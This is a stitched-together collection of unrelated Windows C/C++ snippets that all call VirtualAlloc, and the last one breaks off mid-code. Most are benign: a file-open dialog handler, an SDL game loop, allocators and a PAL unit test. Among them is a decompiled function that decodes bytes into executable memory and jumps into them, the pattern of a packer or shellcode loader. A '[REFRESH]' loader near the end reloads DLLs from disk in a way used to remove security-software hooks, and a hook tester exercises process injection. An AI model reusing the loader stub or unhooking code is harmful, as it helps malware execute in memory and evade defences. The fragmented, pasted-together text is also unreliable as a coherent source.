// // FUNCTION: WndProc(HWND, unsigned, WORD, LONG) // // PURPOSE: Processes messages for the main window. // // WM_COMMAND - process the application menu // WM_PAINT - Paint the main window // WM_DESTROY - post a quit message and return // // LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam) { int wmId, wmEvent; switch (message) { HANDLE_MSG(hWnd, WM_PAINT, OnPaint); case WM_COMMAND: wmId = LOWORD(wParam); wmEvent = HIWORD(wParam); // Parse the menu selections: switch (wmId) { case IDM_OPEN: { TCHAR szPathName[_MAX_PATH]; // Maximum file name size is 260 characters. OPENFILENAME ofn; BOOL bReturn; DWORD dw; int cbSize = sizeof(OPENFILENAME); szPathName[0] = 0; memset(&ofn, 0, cbSize); ofn.lStructSize = cbSize; ofn.hwndOwner = hWnd; ofn.lpstrFilter = TEXT("Text files\0*.txt\0All files\0*.*\0"); ofn.nFilterIndex = 1; ofn.lpstrFile = szPathName; ofn.nMaxFile = _MAX_PATH; ofn.Flags = OFN_FILEMUSTEXIST | OFN_HIDEREADONLY; ofn.lpstrDefExt = TEXT("txt"); bReturn = GetOpenFileName(&ofn); if(bReturn) { MessageBox(hWnd,szPathName,_T("File Selected"),MB_OK); HANDLE hFile = CreateFile(szPathName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == (HANDLE)0xffffffff) { MessageBox(hWnd, TEXT("Call to CreateFile failed"), achAppName, MB_OK); return 0L; } // Free memory if we've allocated any before. if (pData) { VirtualFree(pData, 0, MEM_RELEASE); pData = NULL; } // Determine file size first. DWORD dwFileSize = GetFileSize(hFile, NULL); pData = (TCHAR *)VirtualAlloc(NULL, dwFileSize, MEM_COMMIT, PAGE_READWRITE); DWORD dwRead; ReadFile(hFile, pData, dwFileSize, &dwRead, NULL); CloseHandle(hFile); InvalidateRect(hWnd, NULL, TRUE); return 0L; } else { dw = CommDlgExtendedError(); if(dw==0) MessageBox(hWnd,_T("User clicked cancel"),_T("Open"),MB_OK); else MessageBox(hWnd,_T("Error"),_T("Open"),MB_OK); } } break; case IDM_HELP_ABOUT: DialogBox(hInst, (LPCTSTR)IDD_ABOUTBOX, hWnd, (DLGPROC)About); break; case IDM_FILE_EXIT: DestroyWindow(hWnd); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } break; case WM_CREATE: hwndCB = CommandBar_Create(hInst, hWnd, 1); CommandBar_InsertMenubar(hwndCB, hInst, IDM_MENU, 0); CommandBar_AddAdornments(hwndCB, 0, 0); break; case WM_DESTROY: CommandBar_Destroy(hwndCB); PostQuitMessage(0); break; default: return DefWindowProc(hWnd, message, wParam, lParam); } return 0; }
// address: 0x4063d4 void proc1(int param1) { int bl; // r11 __size32 *eax; // r24 unsigned int ebp; // r29 unsigned int ebp_1; // r29{139} int ecx; // r25 __size32 *edi; // r31 int edx; // r26 unsigned int edx_1; // r26{151} __size32 *esi; // r30 int esp; // r28 union { __size32 * x111; int x112; } esp_1; // r28{26} union { int x1; unsigned int * x2; } esp_2; // r28{138} union { int x1; unsigned int * x2; } esp_3; // r28{101} void *esp_4; // r28{126} union { int x1; unsigned int * x2; } esp_5; // r28{69} __size32 local0; // m[esp] __size32 local1; // m[esp - 8] __size32 local10; // m[esp - 12]{5} __size32 local11; // m[esp - 12]{169} __size32 local12; // m[esp - 12]{163} __size32 local13; // m[esp - 16]{7} __size32 local14; // m[esp - 16]{170} __size32 local15; // m[esp - 16]{164} unsigned int local16; // m[esp - 20]{10} unsigned int local17; // m[esp - 20]{171} unsigned int local18; // m[esp - 20]{165} __size32 local19; // m[esp]{18} __size32 local2; // m[esp - 12] __size32 local20; // m[esp]{172} __size32 local21; // m[esp]{166} int local22; // m[esp]{126} union { int x1; unsigned int * x2; } local23; // esp_2{138} __size32 local24; // local9{162} __size32 local25; // local12{163} __size32 local26; // local15{164} unsigned int local27; // local18{165} __size32 local28; // local21{166} int local29; // param1{173} __size32 local3; // m[esp - 16] union { int x1; unsigned int * x2; } local30; // esp_5{152} __size32 *local31; // local6{167} __size32 local32; // local8{168} __size32 local33; // local11{169} __size32 local34; // local14{170} unsigned int local35; // local17{171} __size32 local36; // local20{172} int local37; // bl{174} unsigned int local4; // m[esp - 20] DWORD local5; // m[esp - 4] __size32 *local6; // m[esp - 4] __size32 local7; // m[esp - 8]{3} __size32 local8; // m[esp - 8]{168} __size32 local9; // m[esp - 8]{162} local7 = 0x3000; local10 = 0x13fe3; local13 = 0; eax = VirtualAlloc(0, 0x13fe3, 0x3000, 64); local24 = local7; local25 = local10; local26 = local13; local27 = local16; local29 = param1; local19 = local0; ecx = 483; esp_1 = esp - 4; local6 = eax; esi = local0 + 168; edi = eax; edx = 0xbc3b3df8 >> 8 & 0xffffff | (eax + param1); ebp = 0; local23 = esp_1; local28 = local19; do { esp_2 = local23; ebp_1 = ebp; local9 = local24; local12 = local25; local15 = local26; local18 = local27; local21 = local28; param1 = local29; *(int*)(esp_2 - 4) = edx; *(union { void * x117; int x118; }*)(esp_2 - 8) = ecx; ecx = *(esp_2 - 4); edx = *esi; *(__size32*)edi = ecx + (unsigned char) ecx + edx; ecx = *(esp_2 - 8); edx = *(esp_2 - 4); esp_5 = esp_2; esi++; edi++; ebp = ebp_1 * 0x3f626 + 1; edx = edx / 256; tmp1 = 3 - ebp_1 * 0x3f626; local30 = esp_5; local31 = local6; local31 = local6; local32 = local9; local32 = local9; local33 = local12; local33 = local12; local34 = local15; local34 = local15; local35 = local18; local35 = local18; local36 = local21; local36 = local21; local37 = param1; local37 = param1; if (4 == ebp_1 * 0x3f626 + 1) { *(__size32*)(esp_2 - 4) = 0xbc3b3df8; edx = *(esp_2 - 4); esp_3 = esp_2; ebp = 0; local30 = esp_3; } L3: edx_1 = edx; esp_5 = local30; local6 = local31; local8 = local32; local11 = local33; local14 = local34; local17 = local35; local20 = local36; bl = local37; edx = edx_1 >> 8 & 0xffffff | (tmp1 + param1); ecx = ecx - 1; local23 = esp_5; local24 = local8; local25 = local11; local26 = local14; local27 = local17; local28 = local20; local29 = bl; } while (ecx - 1 != 0); eax = *esp_5; (*eax)(local17, local14, local11, local8, local6, (unsigned char) ecx - 1, tmp1 + param1, bl, eax, ecx - 1, edx_1 >> 8 & 0xffffff | (tmp1 + param1), ebp, esi, edi, ADDFLAGS32(esp_5, 4, esp_5 + 4), ADDFLAGS32(esp_5, 4, esp_5 + 4), ADDFLAGS32(esp_5, 4, esp_5 + 4)); local30 = esp_4; local31 = local5; local32 = local1; local33 = local2; local34 = local3; local35 = local4; local36 = local22; local37 = bl; tmp1 = 0; if (eax != eax) { goto L3; } return; }
int wmain(void) { uint64 PerfCountFrequency = SDL_GetPerformanceFrequency(); SDL_Event Event; SDL_Window *Window; SDL_Renderer *Renderer; if(SDL_Init(SDL_INIT_VIDEO | SDL_INIT_GAMECONTROLLER | SDL_INIT_HAPTIC) != 0) { char *Error = "Could not initialize SDL: %s\n"; printf(Error, SDL_GetError()); return -1; } atexit(SDL_Quit); int WindowWidth = 1300; int WindowHeight = 870; int BytesPerPixel = 4; Window = SDL_CreateWindow("Echelon", 30, 30, WindowWidth, WindowHeight, SDL_WINDOW_RESIZABLE); if(Window) { Renderer = SDL_CreateRenderer(Window, -1, 0); if(Renderer) { GlobalRunning = true; window_dimensions Dimensions = SDLGetWindowDimensions(Window); SDLCreateNewTexture(&GlobalBuffer, Renderer, Dimensions.Width, Dimensions.Height, BytesPerPixel); uint64 LastCounter = SDL_GetPerformanceCounter(); uint64 LastCycleCount = __rdtsc(); real64 DebugTimer = 0; real64 FPSTimer = 0; real64 UpdateTimer = 0; uint32 FPS = 0; uint32 UPS = 0; keyboard_input KeyboardInput = {}; gamepad_input GamePadInput = {}; game_code Game = LoadGameCode(); game_memory GameMemory = {0}; GameMemory.IsInitialized = false; GameMemory.PlayRumble = SDLPlayRumble; GameMemory.WindowDimensions = SDLGetWindowDimensions(Window); GameMemory.PermanentStorageSize = Gigabytes(4); GameMemory.PermanentStorage = VirtualAlloc(0, GameMemory.PermanentStorageSize, MEM_COMMIT, PAGE_READWRITE); //Assert((GameMemory.PermanentStorageSize)); GameMemory.TransientStorageSize = Megabytes(4); GameMemory.TransientStorage = VirtualAlloc(0, GameMemory.TransientStorageSize, MEM_COMMIT, PAGE_READWRITE); //Assert((GameMemory.TransientStorageSize)); Game.GameInit(&GameMemory); while(GlobalRunning) { // NOTE(Redab): This needs to while loop because we need // to handle events as long as they are available. while(SDL_PollEvent(&Event)) { SDLHandleEvent(&Event, &Dimensions); SDLHandleUserInput(&Event, &Game, &GameMemory, &KeyboardInput, &GamePadInput); } uint64 EndCycleCount = __rdtsc(); uint64 EndCounter = SDL_GetPerformanceCounter(); uint64 CounterElapsed = EndCounter - LastCounter; uint64 CyclesElapsed = EndCycleCount - LastCycleCount; // NOTE(Redab): CounterElapsed Contains the number of // clock cycles since last check. So we need to divide // this by the number of cycles per second which we // have in PerCountFrequency. Multiplied by 1000 to // get milliseconds. real64 SecondsPerFrame = ((real64)CounterElapsed / (real64)PerfCountFrequency); real64 MSPerFrame = SecondsPerFrame * 1000.0f; real64 KCPF = ((real64)CyclesElapsed / (1000.0f)); FPSTimer += MSPerFrame; UpdateTimer += MSPerFrame; DebugTimer += MSPerFrame; if(UpdateTimer >= (1000.0f / 60.0f)) { GameMemory.WindowDimensions = Dimensions; Game.GameUpdate(&GameMemory, &KeyboardInput, &GamePadInput, UpdateTimer / 1000.0f); UPS++; UpdateTimer = 0; } if(FPSTimer >= (1000.0f / 60.0f)) { SDLGameRender(&GlobalBuffer, &Game); SDLBlitFrameToWindow(&GlobalBuffer, Renderer); SDL_RenderPresent(Renderer); // Flip FPS++; FPSTimer = 0; } if(DebugTimer >= 1000.0f) { printf("%.05fms/f, FPS: %d, UPS: %d, %.02fKc/f, Timer: %.02f\n", MSPerFrame, FPS, UPS, KCPF, DebugTimer); FPS = 0; UPS = 0; DebugTimer = 0; } LastCycleCount = EndCycleCount; LastCounter = EndCounter; } } else { printf("Failed to create SDL_Renderer: %s\n", SDL_GetError()); } } else { printf("Failed to create SDL_Window: %s\n", SDL_GetError()); } SDL_CloseAudio(); SDL_Quit(); return 0; }
int CALLBACK WinMain(HINSTANCE,HINSTANCE,LPSTR,int){ quiet = strstr(GetCommandLineA(), "quiet") != NULL; //Change directory to binary directory char filename[MAX_PATH]; DWORD size = GetModuleFileNameA(NULL, filename, sizeof(filename)); for(size -= 1; filename[size] != '\\' && size != 0; size--) filename[size] = 0; SetCurrentDirectoryA(filename); if(ask("Update signatures?")) system("config.exe update"); if(ask("Manually load library?")) #ifdef _M_X64 if(LoadLibraryA("apihook64.dll") == NULL) #else if(LoadLibraryA("apihook.dll") == NULL) #endif MessageBoxA(NULL,"Load failed!","Hook Tester",0); //ALLOW TEST clock_t one=clock(); if(ask("Test starting. SleepEx 1000...")) SleepEx(1000, FALSE); if(quiet && clock() - one < CLOCKS_PER_SEC / 2) error("SleepEx(1000, 0) exited early"); //BLOCK AND AGGREGATION TEST one=clock(); if(ask("SleepEx 1001 quad")) for(int i = 0; i < 4; i++) SleepEx(1001, FALSE); if(ask("SleepEx 1001 quad")) for(int i = 0; i < 4; i++) SleepEx(1001, FALSE); if(quiet && clock() - one > CLOCKS_PER_SEC * 5) error("SleepEx(1001, 0) was not blocked"); //URLDOWNLOADTOFILEW TEST //Test LoadLibrary, GetProcAddress, WC string regex DeleteFileA("deleteme.txt"); URLDownloadToFileWFunc URLDownloadToFileW = (URLDownloadToFileWFunc) GetProcAddress(LoadLibraryA("urlmon"), "URLDownloadToFileW"); if(ask("URLDownloadToFileW http://www.yahoo.com/")) if(URLDownloadToFileW(NULL, L"http://www.yahoo.com/", L"deleteme.txt", 0, NULL) != (HANDLE)73) error("URLDOWNLOADTOFILEW wrong return value"); //RECV TEST //Test LoadLibrary, GetProcAddress, Pointer, and Integer range recvfunc myrecv = (recvfunc)GetProcAddress(LoadLibraryA("ws2_32.dll"), "recv"); PVOID rwx = VirtualAlloc(NULL, 1021, MEM_COMMIT, PAGE_EXECUTE_READWRITE); if(ask("winsock recv")) if(myrecv(0, (char*)rwx, 1021, 0) != 0) error("Ws2_32 recv did not return the correct value"); //INJECT TEST - ensures library is loaded into all new processes STARTUPINFOA start; PROCESS_INFORMATION proc; memset(&start,0,sizeof(start)); memset(&proc,0,sizeof(proc)); start.cb = sizeof(start); char cmdline[100]; lstrcpyA(cmdline,"cmd.exe"); if(ask("Start cmd")){ CreateProcessA(NULL,cmdline,NULL,NULL,0,0,NULL,NULL,&start,&proc); HMODULE hmods[100]; DWORD bytes = sizeof(hmods); CHAR modname[MAX_PATH]; bool found = false; if(EnumProcessModules(proc.hProcess, hmods, sizeof(hmods), &bytes)) for(int i = 0; i < (bytes / sizeof(HMODULE)); i++) if(GetModuleFileNameExA(proc.hProcess, hmods[i], modname, MAX_PATH)) if(strstr(modname, "apihook") != NULL) found = true; if(found == false) error("Process injection failed!"); TerminateProcess(proc.hProcess, 0); } //TEST NOT if(ask("Non-remote CreateRemoteThread")){ WaitForSingleObject(CreateRemoteThread(GetCurrentProcess(),NULL,0,&ThreadProc,NULL,0,NULL), 500); if(thread != true) error("Thread did not run!"); } //Test killproc with sleepEx 1002 if(ask("Read PE")){ GetModuleFileNameA(NULL, filename, sizeof(filename)); HANDLE h = CreateFileA(filename, GENERIC_READ, FILE_SHARE_READ|FILE_SHARE_WRITE|FILE_SHARE_DELETE, NULL, OPEN_EXISTING, NULL, NULL); char readbuf[1000]; DWORD dontcare; ReadFile(h,readbuf,sizeof(readbuf),&dontcare,NULL); CloseHandle(h); } error("Read PE Kill process failed!"); }
void *globalrealloc(void *oldp,size_t newsize) { #if 0 void *p; // Initialize heap if (!hHeap) { hHeap = HeapCreate(0,0x10000,0); if (!hHeap) os_error(); } newsize = (newsize + 3) & ~3L; // round up to dwords if (newsize == 0) { if (oldp && HeapFree(hHeap,0,oldp) == FALSE) os_error(); p = NULL; } else if (!oldp) { p = newsize ? HeapAlloc(hHeap,0,newsize) : NULL; } else p = HeapReAlloc(hHeap,0,oldp,newsize); #elif 1 MEMORY_BASIC_INFORMATION query; void *p; BOOL bSuccess; if (!oldp) p = VirtualAlloc (NULL, newsize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); else { VirtualQuery (oldp, &query, sizeof(query)); if (!newsize) { p = NULL; goto L1; } else { newsize = (newsize + 0xFFFF) & ~0xFFFFL; if (query.RegionSize >= newsize) p = oldp; else { p = VirtualAlloc(NULL,newsize,MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE); if (p) memcpy(p,oldp,query.RegionSize); L1: bSuccess = VirtualFree(oldp,query.RegionSize,MEM_DECOMMIT); if (bSuccess) bSuccess = VirtualFree(oldp,0,MEM_RELEASE); if (!bSuccess) os_error(); } } } #else void *p; if (!oldp) p = (void *)GlobalAlloc (0, newsize); else if (!newsize) { GlobalFree(oldp); p = NULL; } else p = (void *)GlobalReAlloc(oldp,newsize,0); #endif dbg_printf("globalrealloc(oldp = %p, size = x%x) = %p\n",oldp,newsize,p); return p; }
MEXP(int) getExeInfo(const char* file_name, char* exe_info, size_t exe_info_size, uint32_t* version, int platform) { const char* base = (char*) 0; unsigned long file_size; FILE* f = (FILE*) 0; int ret; #ifdef MOS_WINDOWS HANDLE hFile; FILETIME ft; SYSTEMTIME st; LPBYTE buf; VS_FIXEDFILEINFO* ffi; DWORD infoSize, bytesRead; #else cm_pe_t pe; cm_pe_resdir_t* root; cm_pe_resdir_t* dir; cm_pe_version_t ffi; size_t i; struct stat st; struct tm* time; #endif if (!file_name || !exe_info || !exe_info_size || !version) return 0; base = get_basename(file_name); switch (platform) { case BNCSUTIL_PLATFORM_X86: #ifdef MOS_WINDOWS infoSize = GetFileVersionInfoSize(file_name, &bytesRead); if (infoSize == 0) return 0; buf = (LPBYTE) VirtualAlloc(NULL, infoSize, MEM_COMMIT, PAGE_READWRITE); if (buf == NULL) return 0; if (GetFileVersionInfo(file_name, NULL, infoSize, buf) == FALSE) return 0; if (!VerQueryValue(buf, "\\", (LPVOID*) &ffi, (PUINT) &infoSize)) return 0; *version = ((HIWORD(ffi->dwProductVersionMS) & 0xFF) << 24) | ((LOWORD(ffi->dwProductVersionMS) & 0xFF) << 16) | ((HIWORD(ffi->dwProductVersionLS) & 0xFF) << 8) | (LOWORD(ffi->dwProductVersionLS) & 0xFF); #if DEBUG bncsutil_debug_message_a("%s version = %d.%d.%d.%d (0x%08X)", base, (HIWORD(ffi->dwProductVersionMS) & 0xFF), (LOWORD(ffi->dwProductVersionMS) & 0xFF), (HIWORD(ffi->dwProductVersionLS) & 0xFF), (LOWORD(ffi->dwProductVersionLS) & 0xFF), *version); #endif VirtualFree(buf, 0lu, MEM_RELEASE); #else pe = cm_pe_load(file_name); if (!pe) return 0; root = cm_pe_load_resources(pe); if (!root) { cm_pe_unload(pe); return 0; } for (i = 0; i < root->subdir_count; i++) { dir = (root->subdirs + i); if (dir->name == 16) { if (!cm_pe_fixed_version(pe, dir->subdirs->resources, &ffi)) { cm_pe_unload_resources(root); cm_pe_unload(pe); return 0; } break; } } *version = ((HIWORD(ffi.dwProductVersionMS) & 0xFF) << 24) | ((LOWORD(ffi.dwProductVersionMS) & 0xFF) << 16) | ((HIWORD(ffi.dwProductVersionLS) & 0xFF) << 8) | (LOWORD(ffi.dwProductVersionLS) & 0xFF); #if DEBUG bncsutil_debug_message_a("%s version = %d.%d.%d.%d (0x%08X)", base, (HIWORD(ffi.dwProductVersionMS) & 0xFF), (LOWORD(ffi.dwProductVersionMS) & 0xFF), (HIWORD(ffi.dwProductVersionLS) & 0xFF), (LOWORD(ffi.dwProductVersionLS) & 0xFF), *version); #endif cm_pe_unload_resources(root); cm_pe_unload(pe); #endif break; case BNCSUTIL_PLATFORM_MAC: case BNCSUTIL_PLATFORM_OSX: f = fopen(file_name, "r"); if (!f) return 0; if (fseek(f, -4, SEEK_END) != 0) { fclose(f); return 0; } if (fread(version, 4, 1, f) != 1) { fclose(f); return 0; } #ifdef MOS_WINDOWS fclose(f); #endif } #ifdef MOS_WINDOWS hFile = CreateFile(file_name, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) return 0; file_size = GetFileSize(hFile, NULL); if (!GetFileTime(hFile, &ft, NULL, NULL)) { CloseHandle(hFile); return 0; } if (!FileTimeToSystemTime(&ft, &st)) { CloseHandle(hFile); return 0; } CloseHandle(hFile); ret = snprintf(exe_info, exe_info_size, "%s %02u/%02u/%02u %02u:%02u:%02u %lu", base, st.wMonth, st.wDay, (st.wYear % 100), st.wHour, st.wMinute, st.wSecond, file_size); #else if (!f) f = fopen(file_name, "r"); if (!f) return 0; if (fseek(f, 0, SEEK_END) == -1) { fclose(f); return 0; } file_size = ftell(f); fclose(f); if (stat(file_name, &st) != 0) return 0; time = gmtime(&st.st_mtime); if (!time) return 0; switch (platform) { case BNCSUTIL_PLATFORM_MAC: case BNCSUTIL_PLATFORM_OSX: if (time->tm_year >= 100) // y2k time->tm_year -= 100; break; } ret = (int) snprintf(exe_info, exe_info_size, "%s %02u/%02u/%02u %02u:%02u:%02u %lu", base, (time->tm_mon+1), time->tm_mday, (time->tm_year % 100), time->tm_hour, time->tm_min, time->tm_sec, file_size); #endif #if DEBUG bncsutil_debug_message(exe_info); #endif return ret; }
int __cdecl main(int argc, char *argv[]) { LPVOID TestingPointer = NULL; BOOL ResultValue = 0; /* * Initialize the PAL and return FAILURE if this fails */ if(0 != (PAL_Initialize(argc, argv))) { return FAIL; } TestingPointer = malloc(MEMORY_AMOUNT); if ( TestingPointer == NULL ) { Fail("ERROR: Failed to allocate memory for TestingPointer pointer. " "Can't properly exec test case without this.\n"); } /* This should be readable, and return 0 */ ResultValue = IsBadReadPtr(TestingPointer,MEMORY_AMOUNT); if(ResultValue != 0) { free(TestingPointer); Fail("ERROR: The function returned %d instead of 0, when pointing " "at readable memory.\n",ResultValue); } /* If we pass 0, the result should be 0 as well */ ResultValue = IsBadReadPtr(TestingPointer,0); if(ResultValue != 0) { free(TestingPointer); Fail("ERROR: The function returned %d instead of 0, when the " "function was passed a range of 0 bytes.\n",ResultValue); } free(TestingPointer); /* we are done with this */ /* create a READABLE address */ TestingPointer = VirtualAlloc( NULL, /* system selects address */ 80, /* size of allocation*/ MEM_COMMIT, /* commit */ PAGE_READONLY); /* protection = read only */ if (TestingPointer == NULL ) { Fail("ERROR: call to VirtualAlloc failed\n"); } ResultValue = IsBadReadPtr(TestingPointer,16); if(ResultValue != 0) /* if no access */ { if(!VirtualFree(TestingPointer, 0, MEM_RELEASE)) { Trace("ERROR: Call to VirtualFree failed with error" " code[ %u ]\n",GetLastError()); } Fail("ERROR: The function returned %d instead of 1 when checking " "on unreadable memory.\n",ResultValue); } if(!VirtualFree(TestingPointer,0, MEM_RELEASE)) { Fail("ERROR: Call to VirtualFree failed with error" " code[ %u ]\n",GetLastError()); } /* create an unreadable address */ TestingPointer = VirtualAlloc( NULL, /* system selects address */ 80, /* size of allocation */ MEM_COMMIT, /* commit */ PAGE_NOACCESS); /* protection = no access */ if (TestingPointer == NULL ) { Fail("ERROR: call to VirtualAlloc failed\n"); } ResultValue = IsBadReadPtr(TestingPointer,16); if(ResultValue == 0) /* if access */ { if(!VirtualFree(TestingPointer, 0, MEM_RELEASE)) { Trace("ERROR: Call to VirtualFree failed with error" " code[ %u ]\n",GetLastError()); } Fail("ERROR: The function returned %d instead of 1 when checking " "on unreadable memory.\n",ResultValue); } if(!VirtualFree(TestingPointer,0, MEM_RELEASE)) { Fail("ERROR: Call to VirtualFree failed with error" " code[ %u ]\n",GetLastError()); } /* This should be unreadable and return 1 */ ResultValue = IsBadReadPtr(NULL,16); if(ResultValue != 1) { Fail("ERROR: The function returned %d instead of 1 when checking " "to see if NULL was readable.\n",ResultValue); } PAL_Terminate(); return PASS; }
void* VirtualMemoryManager::Allocate(size_t size) { if(!inited) return NULL; LockMut(vmemMutex); unsigned long startPage = -1; unsigned long freeSegments = 0; unsigned long sizeInPages = (size / pageSize) + 1; if(size % pageSize == 0) sizeInPages--; // find a contiguous group of pages that will fit the data for(unsigned long i = 0; i < totalPages; i++) { if(pages[i].sizeInPages != 0) { startPage = -1; freeSegments = 0; i += pages[i].sizeInPages - 1; // go to next page segment } else { if(startPage == -1) { startPage = i; freeSegments = 1; } else freeSegments++; if(sizeInPages == freeSegments) { if(LOG && logging) LOG->Trace("Allocating pages %u to %u", startPage, startPage + freeSegments - 1); // commit this to memory DWORD ret = (DWORD)VirtualAlloc((LPVOID)pages[startPage].startAddress, size, MEM_COMMIT, PAGE_READWRITE); while(ret == NULL) { bool swappedOut = DecommitLRU(); if(!swappedOut) { if(LOG) LOG->Trace("VMem error: out of memory with no pages to swap out left"); return NULL; } ret = (DWORD)VirtualAlloc((LPVOID)pages[startPage].startAddress, size, MEM_COMMIT, PAGE_READWRITE); } pageLRU = (startPage + sizeInPages) % totalPages; for(unsigned long j = startPage; j < startPage + freeSegments; j++) { pages[j].headPage = startPage; pages[j].pageFaults = 0; pages[j].sizeInPages = freeSegments; pages[j].sizeInBytes = size; pages[j].committed = true; pages[i].locked = false; } return (void*) ret; } } } if(LOG) LOG->Trace("VMem error: Couldn't find contiguous group of pages to allocate"); return NULL; }
HMODULE CustomLoadLibrary(const PWCHAR wszFullDllName, const PWCHAR wszBaseDllName, ULONG_PTR pDllBase) { // File handles HANDLE hFile = INVALID_HANDLE_VALUE; HANDLE hMap = NULL; PCHAR pFile = NULL; // PE headers PIMAGE_DOS_HEADER pDosHeader; PIMAGE_NT_HEADERS pNtHeader; PIMAGE_SECTION_HEADER pSectionHeader; // Library PCHAR pLibraryAddr = NULL; DWORD dwIdx; // Relocation PIMAGE_DATA_DIRECTORY pDataDir; PIMAGE_BASE_RELOCATION pBaseReloc; ULONG_PTR pReloc; DWORD dwNumRelocs; ULONG_PTR pInitialImageBase; PIMAGE_RELOC pImageReloc; // Import PIMAGE_IMPORT_DESCRIPTOR pImportDesc; PCHAR szDllName; SIZE_T stDllName; PWSTR wszDllName = NULL; PWCHAR wsRedir = NULL; PWSTR wszRedirName = NULL; SIZE_T stRedirName; SIZE_T stSize; HMODULE hModule; PIMAGE_THUNK_DATA pThunkData; FARPROC* pIatEntry; // clr.dll hotpatches itself at runtime for performance reasons, so skip it if (wcscmp(L"clr.dll", wszBaseDllName) == 0) goto cleanup; dprintf("[REFRESH] Opening file: %S", wszFullDllName); // ---- // Step 1: Map the file into memory // ---- hFile = CreateFileW(wszFullDllName, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) goto cleanup; hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL); if (hMap == NULL) goto cleanup; pFile = (PCHAR)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0); if (pFile == NULL) goto cleanup; // ---- // Step 2: Parse the file headers and load it into memory // ---- pDosHeader = (PIMAGE_DOS_HEADER)pFile; pNtHeader = (PIMAGE_NT_HEADERS)(pFile + pDosHeader->e_lfanew); // allocate memory to copy DLL into dprintf("[REFRESH] Allocating memory for library"); pLibraryAddr = (PCHAR)VirtualAlloc(NULL, pNtHeader->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); // copy header dprintf("[REFRESH] Copying PE header into memory"); memcpy(pLibraryAddr, pFile, pNtHeader->OptionalHeader.SizeOfHeaders); // copy sections dprintf("[REFRESH] Copying PE sections into memory"); pSectionHeader = (PIMAGE_SECTION_HEADER)(pFile + pDosHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS)); for (dwIdx = 0; dwIdx < pNtHeader->FileHeader.NumberOfSections; dwIdx++) { memcpy(pLibraryAddr + pSectionHeader[dwIdx].VirtualAddress, pFile + pSectionHeader[dwIdx].PointerToRawData, pSectionHeader[dwIdx].SizeOfRawData); } // update our pointers to the loaded image pDosHeader = (PIMAGE_DOS_HEADER)pLibraryAddr; pNtHeader = (PIMAGE_NT_HEADERS)(pLibraryAddr + pDosHeader->e_lfanew); // ---- // Step 3: Calculate relocations // ---- dprintf("[REFRESH] Calculating file relocations"); pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; pInitialImageBase = pNtHeader->OptionalHeader.ImageBase; // set the ImageBase to the already loaded module's base pNtHeader->OptionalHeader.ImageBase = pDllBase; // check if their are any relocations present if (pDataDir->Size) { // calculate the address of the first IMAGE_BASE_RELOCATION entry pBaseReloc = (PIMAGE_BASE_RELOCATION)(pLibraryAddr + pDataDir->VirtualAddress); // iterate through each relocation entry while ((PCHAR)pBaseReloc < (pLibraryAddr + pDataDir->VirtualAddress + pDataDir->Size) && pBaseReloc->SizeOfBlock) { // the VA for this relocation block pReloc = (ULONG_PTR)(pLibraryAddr + pBaseReloc->VirtualAddress); // number of entries in this relocation block dwNumRelocs = (pBaseReloc->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC); // first entry in the current relocation block pImageReloc = (PIMAGE_RELOC)((PCHAR)pBaseReloc + sizeof(IMAGE_BASE_RELOCATION)); // iterate through each entry in the relocation block while (dwNumRelocs--) { // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. // we subtract the initial ImageBase and add in the original dll base if (pImageReloc->type == IMAGE_REL_BASED_DIR64) { *(ULONG_PTR *)(pReloc + pImageReloc->offset) -= pInitialImageBase; *(ULONG_PTR *)(pReloc + pImageReloc->offset) += pDllBase; } else if (pImageReloc->type == IMAGE_REL_BASED_HIGHLOW) { *(DWORD *)(pReloc + pImageReloc->offset) -= (DWORD)pInitialImageBase; *(DWORD *)(pReloc + pImageReloc->offset) += (DWORD)pDllBase; } else if (pImageReloc->type == IMAGE_REL_BASED_HIGH) { *(WORD *)(pReloc + pImageReloc->offset) -= HIWORD(pInitialImageBase); *(WORD *)(pReloc + pImageReloc->offset) += HIWORD(pDllBase); } else if (pImageReloc->type == IMAGE_REL_BASED_LOW) { *(WORD *)(pReloc + pImageReloc->offset) -= LOWORD(pInitialImageBase); *(WORD *)(pReloc + pImageReloc->offset) += LOWORD(pDllBase); } // get the next entry in the current relocation block pImageReloc = (PIMAGE_RELOC)((PCHAR)pImageReloc + sizeof(IMAGE_RELOC)); } // get the next entry in the relocation directory pBaseReloc = (PIMAGE_BASE_RELOCATION)((PCHAR)pBaseReloc + pBaseReloc->SizeOfBlock); } } // ---- // Step 4: Update import table // ---- dprintf("[REFRESH] Resolving Import Address Table (IAT) "); pDataDir = &pNtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; if (pDataDir->Size) { pImportDesc = (PIMAGE_IMPORT_DESCRIPTOR)(pLibraryAddr + pDataDir->VirtualAddress); while (pImportDesc->Characteristics) { hModule = NULL; wszDllName = NULL; szDllName = (PCHAR)(pLibraryAddr + pImportDesc->Name); stDllName = strnlen(szDllName, MAX_PATH); wszDllName = (PWSTR)calloc(stDllName + 1, sizeof(WCHAR)); if (wszDllName == NULL) goto next_import; mbstowcs_s(&stSize, wszDllName, stDllName + 1, szDllName, stDllName); dprintf("[REFRESH] Loading library: %S", wszDllName); // If the DLL starts with api- or ext-, resolve the redirected name and load it if (_wcsnicmp(wszDllName, L"api-", 4) == 0 || _wcsnicmp(wszDllName, L"ext-", 4) == 0) { // wsRedir is not null terminated wsRedir = GetRedirectedName(wszBaseDllName, wszDllName, &stRedirName); if (wsRedir) { // Free the original wszDllName and allocate a new 